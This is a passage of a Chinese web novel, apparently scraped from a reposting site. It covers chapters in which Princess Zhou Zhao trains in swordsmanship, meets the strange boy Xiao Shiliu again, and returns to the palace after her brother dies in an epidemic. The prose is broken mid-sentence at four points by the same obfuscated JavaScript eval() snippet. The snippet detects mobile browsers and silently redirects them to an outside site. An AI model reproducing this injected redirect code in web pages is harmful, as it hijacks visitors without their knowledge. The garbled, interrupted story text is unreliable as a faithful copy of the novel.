她揉了揉脖颈,不禁嘶了一声,忍痛将衣领拉高些,免得被看见掐痕又要惹出是非。 周昭料定这幼童不是一般人,本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16465395|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欲叫人来藏书阁搜查,又念其年幼,不忍过多追究,只好作罢。 等晚些时候,流筝服侍周昭安寝时,看见她雪白的颈子上一圈淤青,惊叫道:“呀!殿下!这是——” 周昭忙捂住她的嘴:“嘘!姐姐别喊!” 流筝快要急哭了,心疼道:“殿下这是怎么伤的?” 周昭想了想,支支吾吾道:“我今日遇见一个不知打哪儿来的小孩子......” “殿下跟他打架了?” 周昭想了想,摇摇头:“也不算吧。” 流筝急道:“什么人如此大胆!敢如此对殿下!不行,我要去找方丈,找国师!” 她说着就要走,周昭连忙拦住她,叫道:“哎哎姐姐别去!我又没什么事儿,何必打扰师父休息。再说,要是真去找师父,今晚定会闹得沸沸扬扬,姐姐,好姐姐!你别去嘛!我都告诉你,好不好?” 周昭软磨硬泡,撒娇打滚,好容易将流筝劝住。 她将藏书阁之事道出,不过只说对方不识得她是谁,因为一只野猫才和她起了争执。 “这野小子也忒大胆!殿下你也真是的,想养猫还不简单,竟为了只野猫跟人打架。”流筝一边给她上药一边流眼泪,“要是让娘娘看见,还不得心疼死!” “所以姐姐你千万不能告诉母后!”周昭一偏头,疼得龇牙咧嘴,扯着流筝的袖子道,“求求你,好姐姐。” 流筝无奈道:“好~都听殿下的,不过殿下得答应我一件事儿。” “姐姐你说。” 流筝道:“若日后再碰见生人,一定要喊人来,千万不可伤着自己,知道吗?这里虽戒备森严,但每日香客鱼龙混杂,混进来刺客就麻烦了。” 周昭道:“姐姐放心,我知道了。不过还有件事儿需要姐姐帮个忙。” “嗯?” “我今日瞧他面生,姐姐明日帮我悄悄打听打听,近日寺中可有俗家弟子,或修道之人,既能进藏书阁,想必对这里很熟悉。” 流筝停下上药的手,抬起头道:“殿下放心,这个应当不难查。殿下再跟我说说,那孩子长什么样子?” “嗯......”周昭回忆道,“他比我小些,长什么样子......这样吧,我画下来可好?” 周昭说着就要起身作画,流筝忙将她按下,不容拒绝道:“殿下别乱动!明日再画!” 周昭虽让流筝去查,但并没有抱多大希望。 果然,流筝说寺中没人见过周昭所描绘之人。 跟他一般大的倒是有不少,但除了在此念书的皇家子弟,就是寺中收养的一些无处可去的孤儿,相貌上是完全不像的。 此事没有结果,那幼童也没再出现,故过了几天周昭便将这件事儿忘了。 那日江梅棠教周昭剑术之时,她看得入神,突然想起藏书阁里少年身法诡异,不由问道:“师父,为何不教我修道?” 江梅棠身形微顿,收了剑向她走来,道:“殿下可知,此话犯禁。” 25. 十六叔 传说数千年前,东华仙君悟道得长生,人们才洞悉修道飞升之法。但到如今,修道者仍是少数。只因周朝士农工商之外,属术士道人地位最低,身份最末。 周朝自开国以来,便只供奉历代皇帝,成祖时期甚至大兴毁道拆庙之风。道观拜天不拜神,庙宇奉皇不奉仙,乃周朝不成文的规矩。 拿灵念寺来说,寺中拜的乃是历朝天子尊像,主殿则是开国皇帝周武斩杀妖兽神像。 周朝信奉人皇身上的毕方神血,由此可见一斑。 不过当今天子宽厚,任人唯贤,江梅棠算是个例外。但周昭身为皇女,这样的话确实犯禁。 周昭自知失言,却还是忍不住道:“师父,徒儿不明白,明明术法比剑术更厉害,为何不能学?” 江梅棠看向她,反问道:“哦?明鸢剑术已经练成,不愿再学了?” 他猝不及防使出一招,周昭仓皇拿剑挡之,但只此一招,兵器相接便震得她虎口发麻,长剑险些脱手。 周昭握紧拳,俯首拜道:“徒儿知错。” 江梅棠收了剑,道:“错在何处?” 周昭道:“有而不知足,是为贪。” 江梅棠沉默片刻,淡淡道:“既然想学术法,等你能用剑打败我,为师便教你,如何?” 周昭没想到他竟然松口,眼前一亮,兴奋道:“真的?师父不许骗我!” 江梅棠道:“师父何曾骗你。” 周昭丢下剑小跑过去,得寸进尺道:“师父,徒儿还有一事相求。” “殿下请讲。” “师父讲话永远这么生分......”周昭小声嘟囔道。 “殿下说什么?” “没什么。”周昭连忙摇头,举起一根手指小心翼翼道,“师父能不能......多教一个人。” “嗯?” 周昭解释道:“师父你知道的,长淮跟我要好,他虽然不爱念书,但习武很有天赋,你教给我的剑法他常常看一遍就会了。他也想跟着师父练剑,徒儿想帮他求个情,师父能不能答应?” 江梅棠从来只教周昭一人习武,这是他的规矩,其余学子都是跟着寺中武馆师傅们练武。 “谢景啊……”江梅棠沉吟道,“这么说你经常把我教你的,再教给他?如此确实麻烦些。” 周昭听到这里本以为没希望,谁知江梅棠又道:“殿下教他,浪费时间。” 周昭不知所以地啊了一声,江梅棠道:“我来盛都,就是为了将殿下培养成像周武那样的千古明君,若是殿下整日为这些琐事操心......” “师父!”周昭头一次听江梅棠说这些,一时大惊,叫道,“徒儿......” 江梅棠反问道:“殿下不想?” 周昭觉得这个问题很难回答。 她是年纪最小的公主,还有三位哥哥,虽说周朝并无立嫡立长或是只可男子即位的规矩,但谁来继承大统的话题于她而言确实早了些。 江梅棠抚了抚她头顶的发丝,温声道:“殿下放心。” 没等周昭反应过来这句话的深意,便听谢景的声音自远而近传来—— “老师偏心!” 谢景本就一直躲在暗处,他心里半点底也没有,左等右等也不见周昭喊他,看到这儿干脆自己跑了出去。 江梅棠皱了皱眉,谢景见他这般,人还没有跑到跟前,腿先软了半截,后面的话声音愈发小了:“我......我想跟着您习武。” 江梅棠道:“殿下,武馆教得不好吗?” “好是好,可......”谢景挠挠头,心道武馆师傅哪有江梅棠厉害。 谢景心一横,眼一闭,扑通一声便跪下了,理直气壮地喊道:“您能不能教我!” 不光周昭,似乎连江梅棠都吓了一跳。 他方才便下定主意顺便多教一人,于是顺理成章将谢景扶起来,点点头,算是同意。 谢景激动得面色微红:“那我也能叫您师父啦!” 江梅棠抚了抚额,似乎觉得吵闹,但还是应道:“谢景殿下自便。” 自那以后,周昭愈发刻苦用功,常卯时便起,和谢景一同去竹林练剑。 谢景力大勇猛,江梅棠便建议他弃剑用刀。 春去秋来,寒暑交错。 竹影漏下些许青色天光,两道身影穿梭其中,只听得百鸟啾啾,刀剑争鸣。 少年刀法凌厉,身如猛虎腾空跃起。这刀来势汹汹,与之比试的少女看似难以招架,实则避其锋芒,以剑虚晃一枪。转而绕后,在那势如破竹的大刀上以一个刁钻的角度轻轻一拍,激起破空声阵阵回响。 宝刀落地,胜负已分。 “唉!我又输了!”谢景垂头丧气道。 三年时间,谢景比从前瘦了许多,身高腿长,常年练武之躯结实健硕,说话时双眼微微下垂,汗珠自麦色的皮肤滚落而下,被他一把抹去,露出一张率真英气的俊脸来。 “胜负兵家常事,再说我也输给过你呀。” 少女一袭青衣,未施粉黛,更显眉目清绝。墨发高束,透出几分摄人心魄的英气来。 听了这话,谢景瞪大眼睛道:“我就赢过你三回!丢死人了!” “有一回还是殿下存心让你,确实丢人。” 一个陌生的声音自半空传来,谢景后脑一痛,回头问道:“谁?谁敢打本殿下!” “是片竹叶?”周昭将那“暗器”捡起来说道。 竹林间传来傲慢的轻笑声,那声音玩世不恭道:“小殿下,好久不见了。” 周昭顺着声音的方向望去,只见竹梢间坐着个陌生少年。 少年极为散漫地侧身坐着,一条长腿垂下来,另一条屈膝踏在竹杆上,手里把玩着几片翠色的竹叶。那竹子被他压着,竟也不倒,真是奇了。 谢景也看见了,叫道:“你是谁?为何害本殿下!” 对方一跃而下,身高腿长,头发却束得乱糟糟的。来人五官不凡,眸色浅淡似碧,肤色白皙无血色。 是他? 周昭恍然间认出像是那日藏书阁遇见之人,但彼时不过是个幼童,今日所见竟是少年模样。 她乍一见对方,除了年纪对不上没能认出来之外,还因为从前那名幼童简直可以称得上“恶童小鬼”,一言不合便要掐死她。 如今翩翩走来的少年,不知是转了心性而是学会了喜怒不形于色。总之,看上去跟小时候的样子大相径庭。 少年神情散漫不羁,踏着遍地竹叶行来,对谢景的话置若罔闻,从怀中掏出一张纸,抖了抖,然后展开:“这是第一次有人为我画像,画我收下了。” 谢景见那纸上画的是个半大的孩子,愈发摸不着头脑,拽了拽周昭的胳膊,问道:“阿昭,你认识?” 周昭神色间警惕居多,好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16477316|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奇也有。 那画像是她当年画的,后来交给流筝,怎么如今到了对方手上…… 周昭实在不知该怎么跟谢景解释,便小声搪塞道:“见过一面,日后跟你讲。” 少年道:“我听见你们练剑,觉得好玩,便上来看看。” “上来?”谢景道。 少年不假思索道:“竹林地势高,自然是上来看看。” 谢景见少年虽面容不俗,但穿着朴素,方才又对他言语嘲讽,心中不爽利,于是有些傲慢道:“这里可不是寻常野小子能来的地方,你是何人?怎么进来的?” 少年扬着下巴道:“走进来的。我爹娘死的早,有位僧人收留我住在寺里,不奇怪吧?” 周昭一直默默听着,总觉得他在编谎话,还没来得及反驳,直肠子谢景便信以为真,拍手道:“原来你是寺里收养的孤儿吗?那就不奇怪了,我从前也常见到像你这般大的,可……” 谢景抬头看了看方才少年下来的竹子,心道见过爬树的,没见过爬竹子的。 少年没有答话,看向周昭,问道:“有话要说?” 周昭本不信他这番说辞,但对方今日态度极好,并无恶意,她思来想去,问道:“你一直在竹林看我们练武吗?” 谢景忽地想起来对方说的第一句话,一时面子挂不住,提刀上前,怒道:“皇子练武,也是你看得的?” “长淮,”周昭按住他的手,“皇子如何,平民又如何,他看便看了,我不过随口一问罢了。” “可他......” “好啦,别生气。”周昭心知若不安抚好谢景,以这家伙的脾气,高低要打上一架。 她看向少年,只好胡乱道:“他是……一位朋友。” 一位险些要她性命的“朋友”。 果然,谢景听见这话气消了些,挠挠头道:“早说嘛,既然是你朋友,我便大人不计小人过。” 他收起刀,抬了抬下巴,问道:“你从哪交来如此古怪的朋友,叫什么名字?” 少年眼底浮起一层不怀好意的神色,似乎在等着周昭要怎么把慌圆下去。 “这……”周昭支支吾吾。 “谢景是吧,我是你十六叔。”少年语出惊人。 “十六……你!你敢占我便宜!”谢景怒气冲冲,骂道,“好你个野小子!” 他伸手便去抓,少年在他手底下宛如一尾滑溜溜的鱼,谢景怒极便提刀要砍,周昭忙制止道:“停!别打了!” 谢景累得大喘气,少年双手抱胸,无辜道:“我没打,我手都没抬起来。” “别说了。”周昭头痛道。 谢景提着刀,转向周昭:“阿昭,你骗我的吧!你从哪交到的这种朋友?” 少年道:“不敢当,我这种野小子,哪儿配跟两位金枝玉叶的殿下交朋友。” 他说话句句带刺,着实让人心烦。周昭虽烦于跟他翻来覆去地咬文嚼字,却是个不轻易撕破脸的性子,好言道:“上回见面匆忙,未请教名讳……敢问从何处来,到何处去?” 少年一如既往道:“从下面来,到上面去。” “装怪!”谢景嗤之以鼻。 “你看,我说了,你们又不信。” 周昭点点头,道:“不过,长淮可没有十六叔。” 少年很是认真地无礼道:“论年岁,你们都叫我一声十六叔也不为过。” 26. 惊变 谢景只当他白日发癔症,一身破破烂烂竟然还想攀亲附贵,穷疯了!他翻了个白眼:“你别说自己的名字就叫什么十六叔,好笑!” “不可以吗?为什么一定要有个名字?” 谢景跳起来道:“喂,你这人真奇怪!没名字怎么知道你是你我是我,不光得有名字,还得有小字,譬如我的字是长淮,阿昭是明鸢。不过像你这种乡下人,没有字也正常,但总不可能没有名字吧!” 周昭不动声色地打量着少年,暗道:“看他竟不像说谎,没有名字,莫非真是岭夏的药童?” 正思虑间,少年道:“萧......十六。我的……名字。” “什么奇奇怪怪的名字……”谢景嘟囔着。 周昭拽了拽谢景的衣角示意他莫再说,微笑道:“好吧,十六,可以这么叫你吗?” 萧十六脸上闪过一丝古怪,有些本能的厌恶,又像是浑身刺挠不大自在,说道:“随你们的便。” 他吹了个口哨,一只白猫突然从竹林后跳出来蹿到他脚下。萧十六抬了抬脚尖给它玩儿,说道:“我整日无所事事,便养了只小畜生打发时间,小殿下看看,还认得出来吗?” 周昭听他这样说,疑惑地蹲下细看,恍然间认出这是藏书阁那只野猫,不由自主道:“是你啊。” 萧十六俯身将那白猫掐着后颈皮肉拎起来,道:“你瞧,小殿下还记着你。” 谢景听他们说话好似听谜语,愈发摸不着头脑,疑惑道:“阿昭,没听你说你喜欢猫的啊。再说,这猫也太丑了吧!” 确实,那猫瘦骨嶙峋,毛色亦不纯,浑身脏兮兮的,和周昭去年看到时一般无二,怎么看也不像有主的。 “丑吗?”萧十六道,“养只畜生罢了,管他美丑做什么。” 周昭心道,这少年来路不明,行动举止着实古怪。几年前要掐死这野猫,如今又养着它,却不像真心喜欢,而是当个没生命的物件罢了。 那猫仍被他提在半空中,两条后腿无力地蹬着空气。周昭不忍道:“能不能放它下来?” 萧十六道:“好吧。” 他说着便松开手,周昭忙一把接住,白猫刚一挨到她便往怀里钻,谢景跳起来叫道:“阿昭!这猫脏死了你还抱!” 确实不干净。 周昭轻柔地摸了摸怀里一团软乎乎的小东西,问道:“它还没有名字吗?” 萧十六双手抱胸:“有啊,我都叫它小畜生。” 周昭蹙眉道:“这名字不好。” 萧十六道:“所以找殿下给小畜生起个名字。” “我看它又瘦又小,就叫……小柔?小白?”谢景灵机一动,“粥粥!这个好!” 周昭无奈地冲他摇摇头,说道:“我也想到一个!” 萧十六道:“小殿下想到什么?” 周昭道:“般般。” “般般?”谢景挠挠头道,“我瞧着它也不美啊……” 这二字常来形容美人,又有神兽麒麟之意,确实是个好名字。萧十六点点头:“小畜生,你有名字了。” 他伸出手,那白猫又往周昭怀里缩了缩,萧十六轻笑道:“它喜欢你,殿下。” 周昭心道,不是喜欢我,是怕你才对。 她摸着白猫突起的骨头,问道:“它都吃些什么?我瞧着太瘦了些。” 萧十六道:“爱吃鱼,但是笨,非得我扔到面前才吃。” “小家伙很挑食嘛。” 周昭将它放下,直觉眼前的少年不仅仅是为了给猫起名而来。 果然,对方将猫不轻不重地踢了一脚,说道:“殿下该去准备回宫了。” 谢景听他这么说,不由问道:“这话打哪儿说起?今儿不是初一也不是十五,回宫做什么?” 萧十六避而不答,只道:“小殿下,还记得当日我问你的问题吗?” “……”彼时幼童狠厉的神情在脑海里一晃而过,周昭点点头,“自然记得。” 萧十六嗯了一声,老成道:“那好,我等着看殿下如何破局。” 他虽然语气尚算温和,但满眼冷漠,让周昭想起多年前那张近在咫尺,想将猫和她一把掐死的脸—— 和当年一般无二的残忍。 “来日方长,下次再见。”对方说完转身便走,白猫紧随其后,很快消失在竹林深处。 谢景迟钝,此时才咂摸出几分不对,问道:“阿昭,什么破局?破什么局?” 当年周昭年幼,长大后回忆起自己曾说过的话,虽初心不改,但未免年少轻狂。因此这些年常记着藏书阁质问,警醒自己不要被身份所累,以致自视甚高。 今日幼童再现,周昭心头总有些不好的预感,摇摇头道:“长淮,总之你记住,那个人很危险,不是你我能敌的,离他远些最好。” 谢景咂摸道:“这人确实古怪,但左右不过一个毛孩子,没什么好怕的。” 周昭道:“我方才问他猫吃什么,他说吃鱼,又说自己是山下来的。山脚下有条溪流鱼虾充盈,可你看那猫,浑身上下没几两肉。” 谢景道:“你方才是为了试探他?不过我看他对那猫根本不上心,懒得去抓鱼给猫吃也很正常吧。” “你说得不错。”周昭道,“还有一种可能,就是他根本不住在山下,至少出于什么原因,不常来此,不然般般也不会连鱼也不会抓。” “聪明啊,我怎么没——” “殿下!殿下你在哪儿?” 周昭探头回应道:“流筝姐姐!我们在这儿!” 流筝神色匆匆,一看便是一路跑过来的,额头碎发被汗浸湿个透。她先是慌里慌张冲谢景行了个礼,然后抓住周昭的手,道:“殿下,快随我去见国师!” 周昭疑惑道:“出什么事儿了?这么着急。” 流筝看了一眼谢景,小声道:“陛下来了。” “父皇来了!”周昭先是一喜,再是一惊,问道,“到底出什么事儿了?” 宣庆帝久居深宫,除了重大祭祀从不会来苍界山。流筝见瞒不住,跺了跺脚,哭丧道:“晋王殿下......殁了!” 苍界山主殿内帝王仪仗威严,身穿龙袍的宣庆帝扶额坐在主位,国师江梅棠端坐于下方左侧,山中无人敢高声语。 周昭失魂落魄跑进殿,脚步顿了顿,落下两行泪,颤声叫道:“父皇!” 皇帝睁开眼睛,略显疲惫地冲她招招手:“昭儿来了......” 周昭半跪着扑进他怀里,明明前些日子刚见过,周昭却觉得她那永远无所不能的父皇苍老了许多,鬓边竟生出几根白发。 她心里一惊,竟说不出话来。 皇帝在她后背轻轻拍了拍:“衡儿昨夜殁了,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487399|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 母后伤心,随朕回宫住段日子。” 周昭鼻头一酸,点点头,硬是把眼泪又逼回去。 皇帝看向门外的谢景,谢景忙进屋跪下,皇帝摆摆手示意无需行礼,开口道:“长淮,你和昭儿关系最好,此番一同回宫去罢,也好帮朕照看些。” 谢景应道:“谢景记下了。” “二哥他——到底......” “殿下。”江梅棠神色淡淡,“二皇子殿下是死于今年的时疫。” “不是说二哥染了风寒,怎会是时疫?再说就算是时疫,太医院不多的是疫病方子?” 上回宫宴晋王缺席,派人传话说染了风寒在府中养病。周昭那次本想去探望,却被皇后拦下,说怕过了病气。谁能想到,短短数日等来的竟是天人永隔。 周昭并非不知道时疫一事。 时疫往往始于大雪,盛于立春,史上并不少见。 如今正是春日,周昭月前见来寺中祈福的人越来越多,便问起缘由。江梅棠本不愿告诉她,后来追问之下才说今年瘟疫又起,祈福消灾的人才多了些,但并不严重。 那时人人都告诉她无需担心,但眼下看来并非如此。 江梅棠道:“此次瘟疫与以往不同,起初我们也觉得跟从前没什么两样,太医院开的方子确实将其压下去些,但奇怪的是这疫病看似在好转,却总是不见好。到今日,还没有一例全好了的。” 周昭惊道:“师父的意思,我们毫无办法?” 皇帝看了眼江梅棠,道:“昭儿,朕今日除了来寺中祈福,接你回去,也是要和国师商议对策。” “臣方才说的,陛下可有决断了?”江梅棠似乎永远都是这副不冷不热的模样,哪怕是在皇帝面前,亦没有为人臣子的惶恐之感。好在宣庆帝爱才,对他这份孤高冷淡反而更为看重,遇到大事常先问国师想法再行决断。 宣庆帝揉了揉眉心:“国师所言,朕再想想。” 师父跟父皇在打什么哑谜...... 不等周昭多问,皇帝站起身,命江梅棠同自己一道去前殿祈福。此次出行仓促,等皇帝祈福完毕,仪仗便匆匆起驾回宫。 山路难走,林间寂静无声。等他们一行人回到皇宫已是暮色沉沉,城墙高耸威仪,两排白灯笼犹为刺眼。 周昭先是去见了皇后,皇后痛失爱子伤心过度,竟一夜之间也像生了场大病,形容枯槁,面色憔悴。 母女二人抱头痛哭一场,皆心碎欲绝。皇后精神不济,周昭说了些宽慰的话侍奉其睡下,从凤仪殿出来时只见明月高悬,云层穿行,一时竟有些眩晕之感。 谢景早早地便在殿外等她,见周昭脸色发白毫无颜色,冲上去扶住她道:“阿昭,你可好些?可要吃些东西?” 周昭摇摇头。 谢景急道:“那怎么行!你一天没吃东西,要是眼下再病了,先不说陛下身边没了治疫病的帮手,你让皇后娘娘怎么办!” “母后......”周昭恍然回过神,声音像灌了风沙似的。 谢景又道:“我叫你那婢女吩咐厨房做了些你平素爱吃的,在你殿里温着,我送你回去吃些。”他也不管周昭听进去没,便拖着人一路往回走,只想着别饿出病来才好。 刚走没几步,只见草丛里隐隐绰绰,依稀有人似的。 谢景低喝道:“谁在那儿!” 27. 夜话 “……昭、昭姐姐,”一个细声细气的声音传来,草丛后露出一双大眼睛,“是我……” 周昭松了口气,无奈道:“折杞?你躲在那儿做什么?来,快到这儿来。” 一个看上去十二三岁的男孩儿慢吞吞地走出来,他个子比同龄人要小,身形也有些瘦弱,不过那双眼睛又大又圆,像两颗黑葡萄。 谢景皱眉道:“你鬼鬼祟祟干什么呢!” 那孩子哆嗦一下,不敢往前走了。 折杞虽然是岭夏王子,但跟谢景的地位可谓天差地别。谢景是黎国将来的国主,不仅能在苍界山念书,还和周昭拜的是同一位师父。 折杞就不同了。 岭夏远在偏僻的南疆,国土很小不说,自古以来都被周朝人称作蛮夷之地。几年前岭夏王室纷争,岭夏王被其弟所杀,朝堂易主,折杞被赶出岭夏。 当时驻守南疆的大将兰令仪无意中捡到折杞,岭夏王顺手推舟,将折杞送来周朝为质。 那一年,折杞还只有三岁。 折杞在宫中常受人欺负,周昭遇见过几回,虽然将那些捧高踩低的悉数责罚了,但她毕竟常年不在宫中,便央求自己的母亲多照拂些。 眼下周昭看见折杞站在冷风中可怜,勉强压下心中疲累,柔声劝慰道:“长淮,你别吓他。折杞,你谢景哥哥心情不好,别理他。对了,你怎么不睡觉,跑这里来做什么?” 她说着便走过去牵起折杞的手,一摸,冰得像铁块似的,再蹲下摸他身上,穿得也太单薄些。 “我听说皇娘娘病了,想来看看。”折杞低着头,把另一只背在身后的手拿出来,那只右手仔细看跟常人不同,缺了一根小指。 “这是我采的花儿……” 周昭一看,果然是几朵刚摘的鲜花,只是品相不大好,不过估计也是折杞能采到最好的了。她心头一软,问道:“既采了花,怎么不进去送呢?” “我……”折杞抬头小心翼翼地看了眼谢景。 周昭明白了,他这是害怕谢景。 其实周昭也搞不懂,为什么谢景见了折杞就是这副凶巴巴的模样,谢景又长得人高马大,折杞定是看见他,才躲在草丛里不敢出来。 谢景瞪眼道:“你这小鬼头!看我做什么?” “好了长淮。”周昭轻柔地摸了摸他的头,“母后睡下了,你把花给我,我让人送进去,好不好?” “嗯。”折杞重重地点点头。 “来人。”周昭将花交给门外守夜的婢女,吩咐道,“等母妃醒了再送,就说是折杞殿下拿来的,记下了?” “奴婢记下了。” “昭姐姐......” “怎么啦?” “他们说衡哥哥去了别的地方,是去哪儿了呢?” “……” “你会不会说话!”谢景怒道,“这话是——” “算了,”周昭按住他的手,心里空荡荡地像被针尖刺了一下。她心力交瘁,疲倦陡然间压在肩上,容色却还是一贯温柔,“折杞,我叫人送你回去,下次不要再晚上一个人跑出来了,知道了吗?” 折杞似乎又被吓了一跳,连忙点点头。 周昭随便指了个宫女送他回去,不忘说道:“夜里冷,回去给小殿下生些炭火。” 等折杞走远了,谢景哼了一声:“我看那小子就是故意的,巴巴地在这等,不就是知道你要出来?再说皇后娘娘又没亏待他,侍奉的宫人也不少,偏生半夜里一个人躲在那儿!” 周昭没心思听这些,也懒得反驳,只随口问了句:“你干嘛总不喜欢他?” 谢景皱眉道:“没什么。” 他不说,周昭便不问了。两人在宫道上不紧不慢地走着,过了阵子,谢景才接着说道:“堂堂男子汉,天天哭哭啼啼,不是往你就是往皇后娘娘身上凑,我就是看不惯他小小年纪没骨头的样子。” 这跟周昭猜得七七八八,谢景为人刚直,心气高,平生最佩服驰骋沙场的大将军,最看不起唯唯诺诺之小人。不过周昭倒没觉得折杞巴结她,只觉着是个需要人多照顾些的小弟弟。 “折杞年纪小,你又不是不知他常挨欺负,哪能像你这般天不怕地不怕,性格虽软弱些,好在良善。”周昭温声说道,“不指望你帮他,以后别凶他就是了。” 谢景没吭声,周昭知道他这样就算是默许了。 等进了昭阳殿,谢景的肚子突然咕咕叫了几声。其实他今日也没怎么吃东西,不过他看周昭那样难过,竟把这事儿给忘了,眼下闻到饭香才觉得饿。 周昭想笑又笑不出来,咧出一个比哭还难看的表情,说道:“陪我吃吧。” 二人都没什么心思吃饭,胡乱用了些。席间谢景劝了周昭几句,等他走时夜已深,皇城安静地一丝声音也没有。 三日后,晋王周衡出殡。 同一天,时疫再次爆发。 宣庆皇帝终于颁发圣旨,将所有染病之人搬迁至皇家围猎场暂住,派士兵和医师日夜驻扎。那些草草搭好的屋棚里,每晚都能听到因痛苦而嚎哭之声。 那日出殡下起了淅淅沥沥的小雨,皇陵路滑,周昭心不在焉险些摔了一跤。等她晚上回宫时,耳朵里一面是途径围猎场那些病人的呜咽,一面是出殡队伍里响彻天地的哀乐。 周昭被这两样声音吵得睡不着,便披了件外衣悄悄出了昭阳殿。 她漫无目的地在皇宫里走着,不知不觉就走到了御花园,从这里过去再走百米就是崇学堂。 周昭记得小时候她的哥哥们都在那儿念书,她年幼不能去,又爱黏人,管事嬷嬷便抱着她来御花园,将她放在小秋千上玩儿。 那架小秋千是皇后专门命人搭的,后来她去了苍界山,很少再来过这里。 周昭突然很想去看看,于是提着裙摆从石桥过去,却见秋千上坐着一人,虽是背影,却无比熟悉。 周昭试探着叫了句:“澈哥哥?是你吗?” 秋千上坐着的人回过头,露出一张清绝昳丽的脸,乍看容貌和周昭很像,细看轮廓和嘴巴却是不像的。 眼前人是周昭的五哥,周澈。 周澈只比周昭大两岁,在他之前已有两位皇子皆早夭,五皇子周澈身体同样不大好。皇后心疼,因此如今还养在宫里。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16504134|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 周澈见了周昭,眼神柔和下来,拍了拍秋千道:“小昭,过来坐。” 周昭鼻音很重地嗯了一声,那秋千其实不大,实在挤不下他们两人。周澈便扶着她坐下,自己站在一旁。 周昭轻声道:“澈哥哥,我睡不着。” “我也是,所以来这里逛逛。”周澈道,“我记得你从前总爱玩这秋千,二哥便逗你说,等你出嫁了,也把秋千装进马车带走。” “是啊,衡哥哥总爱捏着我的脸开玩笑。”周昭想起从前,只觉物是人非,心头滋味难言。 “二哥也爱玩儿,你不知我们那时念书,他气走了好几个夫子。” 周澈说话慢吞吞的,声音温和动听,他就这么有一句没一句地和周昭说着过往,像湖面吹来凉风习习,让人十分愿意听他讲下去。 周昭吸了吸鼻子,周澈冷不丁地说道:“小丫头长这么大了还流鼻涕,要不要皇兄借衣服给你擦擦?” 周昭一时破涕为笑,心中好受些,果真作势要拿周澈的衣服揩鼻子。二人闹作一团,周昭叹了口气,问道:“澈哥哥,皇兄是什么时候病重的,我今日不敢问母后。” 周澈道:“听营里的人说,二哥在边关便受了风寒,此番回来他自己也没当回事儿,后来愈发严重,太医院才说是染了瘟疫,无力回天了。” 周昭皱眉道:“莫非这瘟疫......” “嘘……”周澈轻捂住她的嘴,“不可胡言。” 周昭点点头,周澈道:“父皇近日正为此事烦忧,二哥又突然没了,你说话小心些,方才那样的话切记不能再说了。” “我知道了。”周昭道,“澈哥哥,天色不早了,你身子不好,我送你回去休息吧。” 周澈宠溺地摸了摸她的头,说道:“小丫头,皇兄还需要你保护吗?倒是你深更半夜出门连婢女也不带,还是我送你回昭阳殿吧。” 皇子出殡,春雨连绵,宫里乱作一团,到处都散发着潮湿腥味儿。 疫病难消,人心惶惶,天子每日为此事焦头烂额,常见江梅棠出入议政厅,却一直不见有新旨传出。 周昭总没机会和江梅棠说上话,只好去国师府上找他。她去时对方正闭目养神,听到动静微微睁开眼睛,那冷泉似的双眸没有半点涟漪,像是早料到她要来似的,轻声道:“明鸢有话要问?” 周昭问道:“那日师父说时疫已有良策,是什么?” 江梅棠反问道:“明鸢,你可知时疫因何而来?” “旱灾常有老鼠出洞寻找食物,易诱发鼠疫;洪灾常有尸首顺流而下,水源不洁,易诱发疟疾;战事频发,沿路宫观,则大疫起。再有伤寒、瘴气、天花等,不一而足。” 江梅棠点点头,以示肯定,又问道:“那你觉得这场疫病,从何而来?” 周昭心中有些计较,不好直言,便摇摇头说不知。 江梅棠道:“其实你心里已有些模糊的答案,找我只是为了求证,是吗?” 周昭心道什么也瞒不过师父的眼睛,便道:“师父也说了,徒儿心中只是些模糊的答案,真正的答案是什么,还请师父明言。” 28. 棋局 江梅棠答非所问:“明鸢,你可知三苗国?” “知道。圣祖皇帝当年一统天下,将军中叛贼赶去北疆,后来便成了历代流放之地。直到泰和年间,大周四分五裂,诸侯混战长达百年之久,北疆陆陆续续出现一些自立门户的小国,就是三苗的前身。” 